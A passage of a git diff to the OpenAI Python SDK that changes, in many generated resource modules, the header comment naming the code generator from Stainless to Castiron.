index d230cb8f34..777b32e619 100644
--- a/src/openai/resources/admin/organization/projects/users/__init__.py
+++ b/src/openai/resources/admin/organization/projects/users/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/projects/users/roles.py b/src/openai/resources/admin/organization/projects/users/roles.py
index 38b79acec3..59ee68f135 100644
--- a/src/openai/resources/admin/organization/projects/users/roles.py
+++ b/src/openai/resources/admin/organization/projects/users/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/projects/users/users.py b/src/openai/resources/admin/organization/projects/users/users.py
index 3852bfb8c0..a1633968df 100644
--- a/src/openai/resources/admin/organization/projects/users/users.py
+++ b/src/openai/resources/admin/organization/projects/users/users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/roles.py b/src/openai/resources/admin/organization/roles.py
index 056a47d7b2..aa4f19f504 100644
--- a/src/openai/resources/admin/organization/roles.py
+++ b/src/openai/resources/admin/organization/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/spend_alerts.py b/src/openai/resources/admin/organization/spend_alerts.py
index 0da46176b6..fc36554617 100644
--- a/src/openai/resources/admin/organization/spend_alerts.py
+++ b/src/openai/resources/admin/organization/spend_alerts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/spend_limit.py b/src/openai/resources/admin/organization/spend_limit.py
index 3b9394f615..b7f2745d2a 100644
--- a/src/openai/resources/admin/organization/spend_limit.py
+++ b/src/openai/resources/admin/organization/spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/usage.py b/src/openai/resources/admin/organization/usage.py
index 99306c6828..5c2f2b5947 100644
--- a/src/openai/resources/admin/organization/usage.py
+++ b/src/openai/resources/admin/organization/usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/users/__init__.py b/src/openai/resources/admin/organization/users/__init__.py
index d230cb8f34..777b32e619 100644
--- a/src/openai/resources/admin/organization/users/__init__.py
+++ b/src/openai/resources/admin/organization/users/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .roles import (
Roles,
diff --git a/src/openai/resources/admin/organization/users/roles.py b/src/openai/resources/admin/organization/users/roles.py
index 6a20ab52ff..5baff40973 100644
--- a/src/openai/resources/admin/organization/users/roles.py
+++ b/src/openai/resources/admin/organization/users/roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/admin/organization/users/users.py b/src/openai/resources/admin/organization/users/users.py
index 94eab69e83..5ee162a903 100644
--- a/src/openai/resources/admin/organization/users/users.py
+++ b/src/openai/resources/admin/organization/users/users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/audio/__init__.py b/src/openai/resources/audio/__init__.py
index 7da1d2dbde..ffe62c016d 100644
--- a/src/openai/resources/audio/__init__.py
+++ b/src/openai/resources/audio/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .audio import (
Audio,
diff --git a/src/openai/resources/audio/audio.py b/src/openai/resources/audio/audio.py
index 040a058df6..12d54d41cc 100644
--- a/src/openai/resources/audio/audio.py
+++ b/src/openai/resources/audio/audio.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/audio/speech.py b/src/openai/resources/audio/speech.py
index 3c05d690dd..91ac32ab96 100644
--- a/src/openai/resources/audio/speech.py
+++ b/src/openai/resources/audio/speech.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/audio/transcriptions.py b/src/openai/resources/audio/transcriptions.py
index 0ef903dc4b..0b6d491896 100644
--- a/src/openai/resources/audio/transcriptions.py
+++ b/src/openai/resources/audio/transcriptions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/audio/translations.py b/src/openai/resources/audio/translations.py
index d0b5738045..6d5d8ccad1 100644
--- a/src/openai/resources/audio/translations.py
+++ b/src/openai/resources/audio/translations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/batches.py b/src/openai/resources/batches.py
index e7146ef35f..08b3754ed7 100644
--- a/src/openai/resources/batches.py
+++ b/src/openai/resources/batches.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/__init__.py b/src/openai/resources/beta/__init__.py
index 754860bad3..0358202854 100644
--- a/src/openai/resources/beta/__init__.py
+++ b/src/openai/resources/beta/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .beta import (
Beta,
diff --git a/src/openai/resources/beta/assistants.py b/src/openai/resources/beta/assistants.py
index 5f2197be46..ea536d29e6 100644
--- a/src/openai/resources/beta/assistants.py
+++ b/src/openai/resources/beta/assistants.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/beta.py b/src/openai/resources/beta/beta.py
index 807215de65..b991b93230 100644
--- a/src/openai/resources/beta/beta.py
+++ b/src/openai/resources/beta/beta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/chatkit/__init__.py b/src/openai/resources/beta/chatkit/__init__.py
index 05f24d6238..cd1d644f3a 100644
--- a/src/openai/resources/beta/chatkit/__init__.py
+++ b/src/openai/resources/beta/chatkit/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .chatkit import (
ChatKit,
diff --git a/src/openai/resources/beta/chatkit/chatkit.py b/src/openai/resources/beta/chatkit/chatkit.py
index 5a10a39c7b..29d8dec66f 100644
--- a/src/openai/resources/beta/chatkit/chatkit.py
+++ b/src/openai/resources/beta/chatkit/chatkit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/chatkit/sessions.py b/src/openai/resources/beta/chatkit/sessions.py
index 9049b06a40..41906ad7f7 100644
--- a/src/openai/resources/beta/chatkit/sessions.py
+++ b/src/openai/resources/beta/chatkit/sessions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/chatkit/threads.py b/src/openai/resources/beta/chatkit/threads.py
index 05ebf0fb87..42d17a64d5 100644
--- a/src/openai/resources/beta/chatkit/threads.py
+++ b/src/openai/resources/beta/chatkit/threads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/responses/__init__.py b/src/openai/resources/beta/responses/__init__.py
index 51d318ad8d..1b7c209a7d 100644
--- a/src/openai/resources/beta/responses/__init__.py
+++ b/src/openai/resources/beta/responses/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .responses import (
Responses,
diff --git a/src/openai/resources/beta/responses/input_items.py b/src/openai/resources/beta/responses/input_items.py
index 90ea3c1ce8..325395dac4 100644
--- a/src/openai/resources/beta/responses/input_items.py
+++ b/src/openai/resources/beta/responses/input_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/responses/input_tokens.py b/src/openai/resources/beta/responses/input_tokens.py
index 4708ba0e35..a2af998fbb 100644
--- a/src/openai/resources/beta/responses/input_tokens.py
+++ b/src/openai/resources/beta/responses/input_tokens.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 6e43ba1529..661b1d44be 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/threads/__init__.py b/src/openai/resources/beta/threads/__init__.py
index a66e445b1f..3f5566059e 100644
--- a/src/openai/resources/beta/threads/__init__.py
+++ b/src/openai/resources/beta/threads/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .runs import (
Runs,
diff --git a/src/openai/resources/beta/threads/messages.py b/src/openai/resources/beta/threads/messages.py
index e57e783577..c02e3191fd 100644
--- a/src/openai/resources/beta/threads/messages.py
+++ b/src/openai/resources/beta/threads/messages.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/threads/runs/__init__.py b/src/openai/resources/beta/threads/runs/__init__.py
index 50aa9fae60..e4eb55ba7e 100644
--- a/src/openai/resources/beta/threads/runs/__init__.py
+++ b/src/openai/resources/beta/threads/runs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .runs import (
Runs,
diff --git a/src/openai/resources/beta/threads/runs/runs.py b/src/openai/resources/beta/threads/runs/runs.py
index 926f729882..f1b00f8ede 100644
--- a/src/openai/resources/beta/threads/runs/runs.py
+++ b/src/openai/resources/beta/threads/runs/runs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/threads/runs/steps.py b/src/openai/resources/beta/threads/runs/steps.py
index a251d27bf5..56631966da 100644
--- a/src/openai/resources/beta/threads/runs/steps.py
+++ b/src/openai/resources/beta/threads/runs/steps.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/beta/threads/threads.py b/src/openai/resources/beta/threads/threads.py
index d9425c64bd..3932bd8789 100644
--- a/src/openai/resources/beta/threads/threads.py
+++ b/src/openai/resources/beta/threads/threads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/chat/__init__.py b/src/openai/resources/chat/__init__.py
index 52dfdceacc..b99cba1878 100644
--- a/src/openai/resources/chat/__init__.py
+++ b/src/openai/resources/chat/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .chat import (
Chat,
diff --git a/src/openai/resources/chat/chat.py b/src/openai/resources/chat/chat.py
index 2c921e7480..5e970aede1 100644
--- a/src/openai/resources/chat/chat.py
+++ b/src/openai/resources/chat/chat.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/chat/completions/__init__.py b/src/openai/resources/chat/completions/__init__.py
index 12d3b3aa28..31347c4f24 100644
--- a/src/openai/resources/chat/completions/__init__.py
+++ b/src/openai/resources/chat/completions/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .messages import (
Messages,
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index 2375410600..f2fda25efb 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/chat/completions/messages.py b/src/openai/resources/chat/completions/messages.py
index 05dd23735a..e5283da4ae 100644
--- a/src/openai/resources/chat/completions/messages.py
+++ b/src/openai/resources/chat/completions/messages.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/completions.py b/src/openai/resources/completions.py
index d2eb646a66..09d3c63023 100644
--- a/src/openai/resources/completions.py
+++ b/src/openai/resources/completions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/containers/__init__.py b/src/openai/resources/containers/__init__.py
index dc1936780b..50ef40ec0e 100644
--- a/src/openai/resources/containers/__init__.py
+++ b/src/openai/resources/containers/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .files import (
Files,
diff --git a/src/openai/resources/containers/containers.py b/src/openai/resources/containers/containers.py
index 7588ad7240..53da2fc4c0 100644
--- a/src/openai/resources/containers/containers.py
+++ b/src/openai/resources/containers/containers.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/containers/files/__init__.py b/src/openai/resources/containers/files/__init__.py
index f71f7dbf55..606d92842c 100644
--- a/src/openai/resources/containers/files/__init__.py
+++ b/src/openai/resources/containers/files/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .files import (
Files,
diff --git a/src/openai/resources/containers/files/content.py b/src/openai/resources/containers/files/content.py
index 7df5e4cf2d..235722ac89 100644
--- a/src/openai/resources/containers/files/content.py
+++ b/src/openai/resources/containers/files/content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/containers/files/files.py b/src/openai/resources/containers/files/files.py
index 736b1fb75b..56026a9eab 100644
--- a/src/openai/resources/containers/files/files.py
+++ b/src/openai/resources/containers/files/files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/content_provenance_checks.py b/src/openai/resources/content_provenance_checks.py
index 9e01179e31..4660972336 100644
--- a/src/openai/resources/content_provenance_checks.py
+++ b/src/openai/resources/content_provenance_checks.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/conversations/__init__.py b/src/openai/resources/conversations/__init__.py
index c6c4fd6ee4..e6dbd6eafc 100644
--- a/src/openai/resources/conversations/__init__.py
+++ b/src/openai/resources/conversations/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .items import (
Items,
diff --git a/src/openai/resources/conversations/conversations.py b/src/openai/resources/conversations/conversations.py
index bdc8e1d637..f69e73c4c0 100644
--- a/src/openai/resources/conversations/conversations.py
+++ b/src/openai/resources/conversations/conversations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/conversations/items.py b/src/openai/resources/conversations/items.py
index 01cdfe0804..339c145ca3 100644
--- a/src/openai/resources/conversations/items.py
+++ b/src/openai/resources/conversations/items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/embeddings.py b/src/openai/resources/embeddings.py
index a51936d809..146d5531f6 100644
--- a/src/openai/resources/embeddings.py
+++ b/src/openai/resources/embeddings.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/evals/__init__.py b/src/openai/resources/evals/__init__.py
index 84f707511d..18145f12c0 100644
--- a/src/openai/resources/evals/__init__.py
+++ b/src/openai/resources/evals/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .runs import (
Runs,
diff --git a/src/openai/resources/evals/evals.py b/src/openai/resources/evals/evals.py
index a23c9cdef2..c7843d7aff 100644
--- a/src/openai/resources/evals/evals.py
+++ b/src/openai/resources/evals/evals.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/evals/runs/__init__.py b/src/openai/resources/evals/runs/__init__.py
index d189f16fb7..942987e6ab 100644
--- a/src/openai/resources/evals/runs/__init__.py
+++ b/src/openai/resources/evals/runs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .runs import (
Runs,
diff --git a/src/openai/resources/evals/runs/output_items.py b/src/openai/resources/evals/runs/output_items.py
index 2f884dd876..aac2c11e55 100644
--- a/src/openai/resources/evals/runs/output_items.py
+++ b/src/openai/resources/evals/runs/output_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/evals/runs/runs.py b/src/openai/resources/evals/runs/runs.py
index ffba38db2e..c848df91d4 100644
--- a/src/openai/resources/evals/runs/runs.py
+++ b/src/openai/resources/evals/runs/runs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/files.py b/src/openai/resources/files.py
index 868742f0f0..74b4d1c06a 100644
--- a/src/openai/resources/files.py
+++ b/src/openai/resources/files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/__init__.py b/src/openai/resources/fine_tuning/__init__.py
index c76af83deb..cac23d3bf4 100644
--- a/src/openai/resources/fine_tuning/__init__.py
+++ b/src/openai/resources/fine_tuning/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .jobs import (
Jobs,
diff --git a/src/openai/resources/fine_tuning/alpha/__init__.py b/src/openai/resources/fine_tuning/alpha/__init__.py
index 8bed8af4fd..7690fa3842 100644
--- a/src/openai/resources/fine_tuning/alpha/__init__.py
+++ b/src/openai/resources/fine_tuning/alpha/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .alpha import (
Alpha,
diff --git a/src/openai/resources/fine_tuning/alpha/alpha.py b/src/openai/resources/fine_tuning/alpha/alpha.py
index 183208d0ab..237d701f0f 100644
--- a/src/openai/resources/fine_tuning/alpha/alpha.py
+++ b/src/openai/resources/fine_tuning/alpha/alpha.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/alpha/graders.py b/src/openai/resources/fine_tuning/alpha/graders.py
index 51c491b91f..dd31605843 100644
--- a/src/openai/resources/fine_tuning/alpha/graders.py
+++ b/src/openai/resources/fine_tuning/alpha/graders.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/checkpoints/__init__.py b/src/openai/resources/fine_tuning/checkpoints/__init__.py
index fdc37940f9..8dc7f692c5 100644
--- a/src/openai/resources/fine_tuning/checkpoints/__init__.py
+++ b/src/openai/resources/fine_tuning/checkpoints/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .checkpoints import (
Checkpoints,
diff --git a/src/openai/resources/fine_tuning/checkpoints/checkpoints.py b/src/openai/resources/fine_tuning/checkpoints/checkpoints.py
index 9c2ed6f576..a0d6251fff 100644
--- a/src/openai/resources/fine_tuning/checkpoints/checkpoints.py
+++ b/src/openai/resources/fine_tuning/checkpoints/checkpoints.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/checkpoints/permissions.py b/src/openai/resources/fine_tuning/checkpoints/permissions.py
index 49687c15cd..8337362ba8 100644
--- a/src/openai/resources/fine_tuning/checkpoints/permissions.py
+++ b/src/openai/resources/fine_tuning/checkpoints/permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/fine_tuning.py b/src/openai/resources/fine_tuning/fine_tuning.py
index 60f1f44bdc..2b6062d30c 100644
--- a/src/openai/resources/fine_tuning/fine_tuning.py
+++ b/src/openai/resources/fine_tuning/fine_tuning.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/jobs/__init__.py b/src/openai/resources/fine_tuning/jobs/__init__.py
index 94cd1fb7e7..543fa8cece 100644
--- a/src/openai/resources/fine_tuning/jobs/__init__.py
+++ b/src/openai/resources/fine_tuning/jobs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .jobs import (
Jobs,
diff --git a/src/openai/resources/fine_tuning/jobs/checkpoints.py b/src/openai/resources/fine_tuning/jobs/checkpoints.py
index b679372386..49dd593287 100644
--- a/src/openai/resources/fine_tuning/jobs/checkpoints.py
+++ b/src/openai/resources/fine_tuning/jobs/checkpoints.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/fine_tuning/jobs/jobs.py b/src/openai/resources/fine_tuning/jobs/jobs.py
index e7e8903a84..ef6e54bed0 100644
--- a/src/openai/resources/fine_tuning/jobs/jobs.py
+++ b/src/openai/resources/fine_tuning/jobs/jobs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index 8140b5863f..d4bcbcafba 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/models.py b/src/openai/resources/models.py
index a68fd83360..acd55efbed 100644
--- a/src/openai/resources/models.py
+++ b/src/openai/resources/models.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/moderations.py b/src/openai/resources/moderations.py
index 5ef4efeaa5..35eec47206 100644
--- a/src/openai/resources/moderations.py
+++ b/src/openai/resources/moderations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/realtime/__init__.py b/src/openai/resources/realtime/__init__.py
index c11841017f..8b823e57ca 100644
--- a/src/openai/resources/realtime/__init__.py
+++ b/src/openai/resources/realtime/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .calls import (
Calls,
